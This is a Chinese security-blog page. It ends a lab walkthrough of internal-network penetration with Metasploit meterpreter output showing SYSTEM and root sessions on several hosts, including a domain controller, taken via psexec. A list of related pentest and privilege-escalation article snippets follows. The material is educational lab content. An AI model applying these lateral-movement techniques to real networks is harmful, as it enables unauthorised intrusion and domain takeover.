Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80:💯7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 13
============
Name : AWS PV Network Device #0
Hardware MAC : 0a:ee:ba:e9:01:22
MTU : 9001
IPv4 Address : 10.0.1.7
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::c907:5309:68a2:b1b8
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 14
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a00:107
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
至此,我们已经成功地拿下了所有实验环境下的主机控制权限。
msf exploit(psexec) > sessions
Active sessions
===============
Id Name Type Information Connection
– ---- ---- ----------- ----------
2 meterpreter x64/windows MONITORAdministrator @ MONITOR 10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)
4 meterpreter x64/linux uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11 10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)
5 meterpreter x64/windows NT AUTHORITYSYSTEM @ IT-MANAGE-PC 10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)
6 meterpreter x64/windows NT AUTHORITYSYSTEM @ DC 10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)
0x02 小结
本文重点介绍了一个相对完整的内网渗透过程(即:外网主机-内网主机-内网域内主机-内网域控服务器)。当然,这只是个简单的实验环境,实际实战中遇到的情况会比这复杂很多(比如:各种反病毒程序的bypass,内网反入侵系统的检测的绕过等等),但是基本思路和方法都是类似和想通的。另外,因笔者水平有限,文中表达不当或者不正确的地方,也敬请谅解和指正。
需要网络安全学习视频,全套工具包、渗透测试书籍、src技术文档、应急响应、CTF、逆向等资源【点我领取】
-
-
hackthebox-Mango(mongodb渗透 & jjs提权)
2021-02-14 08:59:23这台靶机太卡了。无语 1、扫描 很常规的22可能有ssh登录,80,443web信息搜集 另外结果显示扫描出新地址staging-order.mango.htb,加到本机/etc/hosts C:\root> masscan -p1-65535,U:1-65535 10.10.10.162 --rate=... -
张小白的渗透之路(十一)--windows提权详解
2019-03-04 23:39:58(B)本地溢出 本地溢出提权首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权, 攻击者通常会向服务器上传本地溢出程序,在服务器端执行, 如果系统存在漏洞,那么将溢出root权限 ps EXP = Exploit... -
渗透测试之常规外网打点拿下域控
2021-10-20 15:18:292.3 目录扫描编写一个绕防火墙脚本 2.4 访问特殊状态码地址 三、对目标进行渗透测试 3.1测试Web服务器 四、内网渗透 4.1 对web 服务器的操作 4.2 对OA服务器进行渗透 4.3 对域控主机进行渗透 4.3.2 利用kiwi... -
[渗透测试]虚拟机搭建内外网环境
2021-04-12 13:28:43这两天在做内网渗透提权的测试中,准备搭建三台服务器,一台服务器是纯内网(也就是目标靶机),一台是可以连接内网,也可以访问外网的中间靶机, 另外一台就是攻击的虚拟机,这台虚拟机不能直接访问内网的靶机。 ... -
Kali Linux渗透测试(安全牛).txt
2020-04-17 11:19:13│ 任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入).mp4 │ 任务090:手动漏洞挖掘-SQL注入.mp4 │ 任务091:手动漏洞挖掘-SQL注入.mp4 │ 任务092:手动漏洞挖掘-SQL盲注.mp4 │ 任务093... -
内网渗透-完整的域渗透
2021-11-28 10:40:41域(Domain)是一个有安全边界的计算机集合(安全边界的意思是,在两个域中,一个域中的用户无法访问另一个域中的资源) 工作组的分散管理模式不适合大型的网络环境下工作,域模式就是针对大型的网络管理需求设计的... -
渗透测试专业术语2
2021-12-26 11:47:00跳板 一个具有辅助作用的机器,利用这个主机作为一个间接工具,来入 侵其他主机,一般和肉鸡连用。 32.网马 就是在网页中植入木马,当打开网页的时候就运行了木马程序。 33.黑页 黑客攻击成功后,在网站上留下的黑客... -
【渗透测试】Lin.Security靶机渗透练习_虚拟机无法获取ip的配置方法+靶机多种提权方式练习
2021-09-04 13:59:08靶机描述:在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务... -
渗透实战:内网域渗透
2021-11-22 15:42:30本文记录了一次针对具有二层内网的域环境进行渗透测试的过程,文中涉及了内网域渗透的基本方法、思路和技巧。交替使用了msf、CobaltStrike、frp、chisel、SharpSQLTools等工具,最后通过约束委派拿下了域控。其间... -
网络渗透实验四 CTF实践
2021-12-14 11:59:04网络渗透实验四:CTF实践 -
关于一次内网渗透总结
2021-09-28 18:20:03一、靶机的环境搭配 攻击机(KALI):192.168.226.129 靶机(2008): 192.168.114.130 1、配置靶场IP 点击win2008-编辑-虚拟机网络编辑器- 更改VMnet8,修改子网ip地址为192.168.114.0,应用保存 最后本机... -
2.100个渗透测试实战#2(mrRobot)
2020-03-20 16:22:21一、实验环境 二、实验流程 三、实验步骤 (一)信息后随即——主机发现 1.查看kali的网卡和IP信息(网卡名:eth0;IP:192.168.97.129); 2.查看靶机页面; 3.探测主机的存活状态(netdiscover、arp-scan、... -
13、域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍
2018-06-14 13:04:37最好的例子是当一个对象在另一个对象上是“完全控制”的。例如,考虑“域管理员”组。也就是说,“域管理员”组可以完全控制域中的其他任何对象: 上图显示的是授予了“域管理员”组完全控制“Jeff Dimmock”这个... -
渗透与测试——常用的网络探测命令
2020-07-09 08:04:44概述 ... 这些命令是微软操作系统自带的,可以帮助我们更好的了解操作系统的网络情况,快速的判断网络拓扑、解决网络故障、发现...TCP/IP网络体系结构中应用层的一个服务命令, 主要是向特定的目的主机发送 ICMP(Interne -
记一次杀猪盘的渗透之旅
2021-12-28 13:20:06今年某月某日小白就遭遇了这种骗局,他先是被骗子通过QQ添加并下载了一个名为”心动“的APP,在“心动“APP上结识了位名为“xx老师”的美女,小白被美色迷了眼打算相约这名网友,但是美女则借口让他下载另一个名为... -
网络渗透测试实验四
2021-12-12 20:43:26实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举... -
渗透实战之内网渗透流程
2022-04-29 20:45:16一个完整的内网渗透过程。 0x01 案例分析 实验环境: 目标环境:10.0.0.0/24, 10.0.1.0/24 攻击主机:10.0.0.5 (Kali), 10.0.0.7 (Windows) 渗透过程: 基本的主机探测: root@kali:~# nmap -sn 10.0.0.0/24 -oG ... -
web渗透
2022-04-07 12:54:51一.配置及代理设置 1.使用前配置 ①选择代理Proxy选项卡 ②选择设置option选项卡 ③Edit Running打勾 124.0.0.1:8080 配置成功 历史访问 二.功能模块讲解 模块介绍 send to spider 发送... -
5.100个渗透测试实战#5(FristiLeaks_1.3)
2020-03-25 18:46:14一、实验环境 二、实验流程 三、实验步骤 (一)信息收集——主机发现 1.查看kali的网卡和IP信息(网卡名:eth0,IP:192.168.97.129); 2.查看靶机页面; 3.探测特定网络内的主机存活状态(netdiscover、arp... -
内网渗透 | 手把手教你如何进行内网渗透
2020-11-23 21:33:36内网渗透 | 手把手教你如何进行内网渗透 目录 内网渗透 | 手把手教你如何进行内网渗透 0x01 DMZ渗透 0x02 跳板及内网探测 0x2.1 做跳板 ...0x03 第二层渗透 ...看到DMZ开启了web服务,是一个typec... -
Kali Linux渗透测试之提权(四)——基本信息收集、敏感数据收集、隐藏痕迹
2019-04-25 21:38:50#获取用户最近一次的登录时间 3.4> wmic process get caption,executablepath,commandline #获取服务名称,路径及运行方式 3.5> wmic process where name='calc.exe' call terminate #关闭计算机... -
记一次shell提权
2021-03-08 17:35:59实现远程登录 接下来进行 提权 在/home 目录下进行查找,试试能不能发现重要隐藏文件 文件名看起来可能有重要信息(.hiddenadmindirectory) 用strings命令查看文件,得到类似密码的一串字符串(进行整理备用) ... -
【渗透测试】渗透测试详细流程
2021-10-22 11:29:17渗透测试详细流程信息收集一、IP地址信息收集1. 通过DNS解析找IP地址1.1 ping命令1.2 nslookup命令1.3 dig工具1.4 dnsenum1.5 站长工具2. 通过CDN收集IP信息2.1 CDN概述2.1 绕过CDN查找网站真实IP2.1.1 查看是否使用... -
红日内网渗透靶场1(ATK&CK红队评估实战靶场一)
2022-02-15 20:06:25需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。添加网络设配器如下图。 将 Win7 的网络适配器 1 设置成 VMnet1 仅主机模式(内网),... -
三层网络防护的域渗透
2022-01-07 18:58:19目录环境准备网络拓扑配置网卡网络联通性测试一些账号绑定host其他目标信息收集端口扫描美化扫描结果网站探测指纹识别WAF识别目录扫描siteserver 漏洞利用绕狗注入忘记密码上传木马getshell后渗透提权菜刀转msfmsf...